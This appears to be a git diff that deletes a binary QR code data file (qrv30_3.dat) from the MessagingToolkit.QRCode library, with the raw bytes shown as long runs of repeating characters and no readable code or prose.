RQQKKJJIYXXWWVVUxyyzz{{||}}fpvXQJ`ےpfH~pZHAbf~HbHAf`vXQr˂p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fpAZp˂vpfHHAbےpvn˂rXQdQZ|HAbےrd|bHAZvpfHAbے`rd|炀rXQQZ|dے`XnvˍtbAdZnXv`XQJ`ےH~f`JXQr~fvdrtA~f``JXQnXv`QJ`ے~f``JXQvnXHrXQJ`~f``JXQrXv`fJ`ےdtAJl`JXQrZdQbtp˂r~f`JXQrZdQbtJ`ےrtAJlJXQrpfH~|drf~HbHAZ`vXn˂p`nXv`JltvXnr˂pf~HbHAZpvXnr˂pfpvےbHvXn˂pZ~HfbHAZptbn˂pZlJtAXQJ`pvXnۉ˂pZHlJfpbHAZpˑtbdpZHAf۝`vQtJlfpvp˂rvpfJXQrbf~HbdQZ|vpfHZHAے`fpv˂rXvpfHZHAbۅnXv`AZrXQvpfHHAbےpvn˂rXQvpfHAbےrd|˂rXQvpfHAbے`vnXrXQQZ|dbے`XnvˍtbAdZnXv`XQJ`ےH~ftl|fpvdrtA~f`JXQrnXv`QJ`ے~f``JXQf~HJ`ےJ~f``JXQrXv`fJ`ےHf``JXQrZdQbtJ`ے~f`JXQrv`fJ`ےrtAJlJXQrpfH~|drf~HJlt`vXnZdQbtnXv`JltvXnbtlf~HbHAZpvXnr˂pfpvltbvXn˂pZ~HfbHAZpvXn˂pZlJtAbHAZpvXnۉ˂pZH~HfpbHAZpˑtbdp`JXf۝`vQtJlt-----------------------......................... \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv30_3.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv30_3.dat deleted file mode 100644 index 29e3e0d..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv30_3.dat +++ /dev/null @@ -1,273 +0,0 @@ -}~}~}~}~{|{|{|{|yzyzyzyzwvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklghghghghfefeeeeedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQPOPOPOPO}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklghghghghefefefefdcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQPOPOPOPO}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklghghghghefefefefbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQPOPOPOPO}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklghghghghefefefefbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQPOPOPOPO}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvststststqrqrqrqropopopopmnmnmnmnkjijijijghghghghefefefefbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQPOPOPOPO}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvststststqrqrqrqropopopopmnmnmnmnijijijijghghghghefefefefbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQPOPOPOPO}~}~}~}~{|{|{|{|yxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnijijijijghghghghefeeeeeebabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPO}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnijijijijghghghghfefefefebabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPO}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnijijijijghghghghdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPO}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnijijijijghghghghdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPO}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvststststqrqrqrqropopopopmlklklklijijijijghghghghdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPO}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvststststqrqrqrqropopopopklklklklijijijijghghghghdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPO}~}~}~}~{zyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopklklklklijijijijghghghghdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPO}~}~}~}~yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopklklklklijijijijghghghghdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPO}~}~}~}~yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopklklklklijijijijghghghghdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPONM}~}~}~}~yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopklklklklijijijijghghghghdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMNMNMNMNM}~}~}~}~yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqronmnmnmnklklklklijijijijghghghghdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMNMNMLKLK}~}~}~}~yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqrmnmnmnmnklklklklijijijijghghgfefdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMLKLKKKKK}|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqrmnmnmnmnklklklklijijijijefefeeeedcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMKLKLKLKL{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqrmnmnmnmnklklklklijijijijefefefefdcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMKLKLKLKL{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqrmnmnmnmnklklklklijijijijefefefefdcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMKLKLKLKL{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqrmnmnmnmnklklklklijijijijefefefefdcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMKLKLKLKL{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqpopopopmnmnmnmnklklklklijijijijefefefeedcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMKLKLKLKL{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststopopopopmnmnmnmnklklklklijijijijeeeefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMKLKKKKKK}{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststopopopopmnmnmnmnklklklklijijijijfefefefedcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLK}}}}}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststopopopopmnmnmnmnklklklklijijijijfefefefedcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLK}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststopopopopmnmnmnmnklklklklijijijijfefefefedcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLK}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststopopopopmnmnmnmnklklklklijijijijfefefefedcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLK}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvsrqrqrqropopopopmnmnmnmnklklklklijijijijfefefeeedcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMLKLKLKLK}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopopmnmnmnmnklklklklijijijijeeefefefdcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMLKKKKKKL}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopopmnmnmnmnklklklklijijijihefefefefdcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMKLKLKLKL}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopopmnmnmnmnklklklklghghghghefefefefdcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMKLKLKLKL}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopopmnmnmnmnklklklklghghghghefefefefdcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMKLKLKLKL}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopopmnmnmnmnklklklklghghghghefefefefdcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMKLKLKLKL}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxutstststqrqrqrqropopopopmnmnmnmnklklklklghghghghefefeeeedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPONMNMNMNMKLKLKLKL}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxststststqrqrqrqropopopopmnmnmnmnklklklklghghghgheefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPONMNMNMNMKKKKKKLK}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxststststqrqrqrqropopopopmnmnmnmnklklklklghghghghfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPONMNMNMNMLKLKLKLK}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxststststqrqrqrqropopopopmnmnmnmnklklklklghghghghfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPONMNMNMNMLKLKLKLK}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxststststqrqrqrqropopopopmnmnmnmnklklklklghghghghfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPONMNMNMNMLKLKLKLK}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxststststqrqrqrqropopopopmnmnmnmnklklklklghghghghfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKLKLKLKLKIJIJIJIHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>9:9:9:9:7878787856565656343212120/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('&%$#$#$#$#"!"!"!"!         - - - -KKKKKLKLGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>9:9:9:9:7878787856565656121111120/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!         - - - -KLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>9:9:9:9:7878787856565656121212120/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!         - - - -KLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>9:9:9:9:7878787856565656121212120/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!         - - - -KLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=<9:9:9:9:7878787856565656121212120/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!         - - - -KLKKKKKLGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:7878787856565656121211110/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!         - - - -KLKLKLKJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:7878787856565656112121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -IJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:7878787856565656212121210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -IJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:7878787856565656212121210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -IJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:7878787856565656212121210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -IJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?>;<;<;<;<9:9:9:9:7878787856565656212121210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -IJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<9:9:9:9:7878787856565656212111110/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -IJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<9:9:9:9:7878787856565656121212120/0/0/0/.-.-.-.-,+,+,+*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - IJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<9:9:9:9:7878787856565434121212120/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         IJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<9:9:9:9:7878787834343434121212120/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         IJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<9:9:9:9:7878787834343434121212120/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         IJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABA@=>=>=>=>;<;<;<;<9:9:9:9:7878787834343434121212120/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        IJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787834343434121111110/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!     IJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787834343434212121210/0/0/0/.-.-.-,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!     - -IJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787834343434212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!     - - - -IJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787834343434212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!     - - - -IJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787834343434212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!     - - - -IJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787834343434212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!      - - - -IJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787834343434211111120/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#         - - - -IJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787834343434121212120/0/0/.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#       - - - -IJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:787878783434343412121212.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#     - - - -IJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:787878763434343412121212.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#     - - - -IJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:565656563434343412121212.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#     - - - -IJIJIJIJGHGHGHGHEFEFEFEDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:565656563434343412121212.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#"!     - - - -IJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:565656563434343411111121.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!     - - - -IJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:56565656343434342121210/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!      - - - -IJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:56565656343434340/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!         - - - -IJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9856565656343434340/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!         - - - -IJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<7878787856565656343434340/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!         - - - -IJIJIJIJGHGHGHGFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<7878787856565656343434340/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%$#"!"!"!"!         - - - -IJIJIJIJEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<7878787856565656343434340/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!         - - - -IJIJIJIJEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<7878787856565656343434340/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!         - - - -IJIJIJIJEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<7878787856565656343434340/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!         - - - -IJIJIJIJEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;:7878787856565656343434340/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!         - - - -IJIJIJIJEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>9:9:9:9:7878787856565656343434340/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!         - - - -))**++,,99887711tssrrqqp@AABBCCD100//..-pqqrrsstqppoonnm01122334A@@??>>=`aabbccd ZYYXXWWVddeefghixxwwvvuu))**++,,HHGGFFEEYYZZ[[\\IIHHGGFF--..//0000//..--poonnmmlDEEFFGGH-,,++**)tuuvvwwxmllkkjji45566778=<<;;::9deeffggh - - VUUTTSSRjkkllmmnttssrrqq--..//00DDCCBBAA]]^^__`` EEDDCCBB~~}}11223344,,++**))lkkjihgfHIIJJKKL)((''&&%xyyzz{{| - - ihhggffe899::;;<98877665hiijjkkl RQQKKJJInooppqqrppoonnmm11223344@@??>>==aabbccdd ~~}}!!""##$$AA@@??>>||{{zzyy55667788((''&&%%eeddccbbLMMNNOOP%$$##""!|}}~~ eddccbba<==>>??@54433221lmmnnoopIHHGGFFErssttuuvllkkjjii55667788<<;;::99eeffgghh - - ||{{zzyy%%&&''((==<<;;::xxwwvvuu99::;;<<$$##""!!aa``__^^PQQRRSST! a``__^^]@AABBCCD100//..-pqqrrsstEDDCCBBAvwwxxyyz - - hhggffee99::;;<<88776655iijjkkllxxwwvvuu))**++,,99887711ttssrrqq==>>??@@ ]]\\[[ZZTUUVVWWX]\\[[ZZYDEEFFGGH-,,++**)tuuvvwwx - - A@@??>>=z{{||}}~ ddccbbaa==>>??@@44332211mmnnooppttssrrqq--..//0000//..--ppoonnmmAABBCCDDYYXXWWVVXYYZZ[[\YXXWWVVUHIIJJKKL)((''&&%xyyzz{{| =<<;;::9~``__^^]]AABBCCDD00//..--qqrrssttppoonnmm11223344,,++**))llkkjjiiEEFFGGHHUUTTSSRR\]]^^__` UTTSSRRQLMMNNOOP%$$##""!|}}~~98877110\\[[ZZYYEEFFGGHH,,++**))uuvvwwxxllkkjjii55667788((''&&%%hhggffeeIIJJKKLL QQPONMLK`aabbccd ~~} !!""##$QPPOONNMPQQRRSST! 0//..--,XXWWVVUUIIJJKKLL((''&&%%yyzz{{|| - - hhggffee99::;;<<$$##""!!ddccbbaaMMNNOOPP - - KJJIIHHGdeeffggh - - }||{{zzy$%%&&''(MLLKKJJITUUVVWWX !,++**))( TTSSRRQQMMNNOOPP$$##""!!}}~~ ddccbbaa==>>??@@ ``__^^]]QQRRSSTT - - GFFEEDDChiijjkkl yxxwwvvu())**++,IHHGGFFEXYYZZ[[\!""##$$%(''&&%%$~~}}!!""##$$PPOONNMMQQRRSSTT ``__^^]]AABBCCDD\\[[ZZYYUUVVWWXXCBBAA@@?lmmnnooputtssrrq,--..//0EDDCCBBA\]]^^__`%&&''(()$##""!! ||{{zzyy%%&&''((LLKKJJIIUUVVWWXX\\[[ZZYYEEFFGGHHXXWWVVUUYYZZ[[\\?>>==<<;pqqrrsstqppoonnm01122334A@@??>>=`aabbccd ~~})**++,,- xxwwvvuu))**++,,HHGGFFEEYYZZ[[\\XXWWVVUUIIJJKKLL TTSSRRQQ]]^^__``;::99887tuuvvwwxmllkkjji45566778=<<;;::9deeffggh - - }||{{zzy-..//001ttssrrqq--..//00DDCCBBAA]]^^__`` TTSSRRQQMMNNOOPP - - PPOONNMMaabbccdd !!""76543211xyyzz{{| - - ihhggffe899::;;<98877665hiijjkkl yxxwwvvu1778899:ppoonnmm11223344@@??>>==aabbccdd ~~}}!!""##$$PPOONNMMQQRRSSTTLLKKJJIIeeffgghh##$$%%&&00//..--|}}~~ eddccbba<==>>??@54433221lmmnnooputtssrrq:;;<<==> llkkjjii55667788<<;;::99eeffgghh - - ||{{zzyy%%&&''((LLKKJJIIUUVVWWXX ~~HHGGFFEEiijjkkll''(())**,,++**))a``__^^]@AABBCCD100//..-pqqrrsstqppoonnm>??@@AAB - - hhggffee99::;;<<88776655iijjkkllxxwwvvuu))**++,,HHGGFFEEYYZZ[[\\ - - DDCCBBAAmmnnoopp++,,--..((''&&%%]\\[[ZZYDEEFFGGH-,,++**)tuuvvwwxmllkkjjiBCCDDEEFddccbbaa==>>??@@44332211mmnnooppttssrrqq--..//00DDCCBBAA]]^^__``@@??>>==qqrrsstt//001177$$##""!!YXXWWVVUHIIJJKKL)((''&&%xyyzz{{| - - ihhggffeFGGHHIIJ``__^^]]AABBCCDD00//..--qqrrssttppoonnmm11223344@@??>>==aabbccdd~~}}|<<;;::99uuvvwwxx8899::;;  UTTSSRRQLMMNNOOP%$$##""!|}}~~ eddccbbaJKKQQRRS - - \\[[ZZYYEEFFGGHH,,++**))uuvvwwxxllkkjjii55667788<<;;::99eeffgghh|{{zzyyx88776655yyzz{{||<<==>>??~~} !!""##$QPPOONNMPQQRRSST! a``__^^]STTUUVVW XXWWVVUUIIJJKKLL((''&&%%yyzz{{|| - - hhggffee99::;;<<88776655iijjkkll !!""xwwvvuut44332211}}~~@@AABBCC}||{{zzy$%%&&''(MLLKKJJITUUVVWWX]\\[[ZZYWXXYYZZ[TTSSRRQQMMNNOOPP$$##""!!}}~~ ddccbbaa==>>??@@44332211mmnnoopp##$$%%&&tssrrqqp00//..--DDEEFFGGyxxwwvvu())**++,IHHGGFFEXYYZZ[[\YXXWWVVU[\\]]^^_PPOONNMMQQRRSSTT ``__^^]]AABBCCDD00//..--qqrrsstt''(())**poonnmml,,++**))HHIIJJKK -uttssrrq,--..//0EDDCCBBA\]]^^__` UTTSSRRQ_``aabbcLLKKJJIIUUVVWWXX\\[[ZZYYEEFFGGHH,,++**))uuvvwwxx++,,--..lkkjihgf((''&&%%QQRRSSTT - qppoonnm01122334A@@??>>=`aabbccd ~~} !!""##$QPPOONNMcddeekkl !!""HHGGFFEEYYZZ[[\\XXWWVVUUIIJJKKLL((''&&%%yyzz{{||//001177eeddccbb$$##""!!~~}}||UUVVWWXXmllkkjji45566778=<<;;::9deeffggh - - }||{{zzy$%%&&''(MLLKKJJIlmmnnoop##$$%%&&DDCCBBAA]]^^__`` TTSSRRQQMMNNOOPP$$##""!!}}~~8899::;;aa``__^^ {{zzyyxxYYZZ[[\\ - - ihhggffe899::;;<98877665hiijjkkl yxxwwvvu())**++,IHHGGFFEpqqrrsst''(())**@@??>>==aabbccdd ~~}}!!""##$$PPOONNMMQQRRSSTT <<==>>??]]\\[[ZZwwvvuutt]]^^__`` eddccbba<==>>??@54433221lmmnnooputtssrrq,--..//0EDDCCBBAtuuvvwwx++,,--..<<;;::99eeffgghh - - 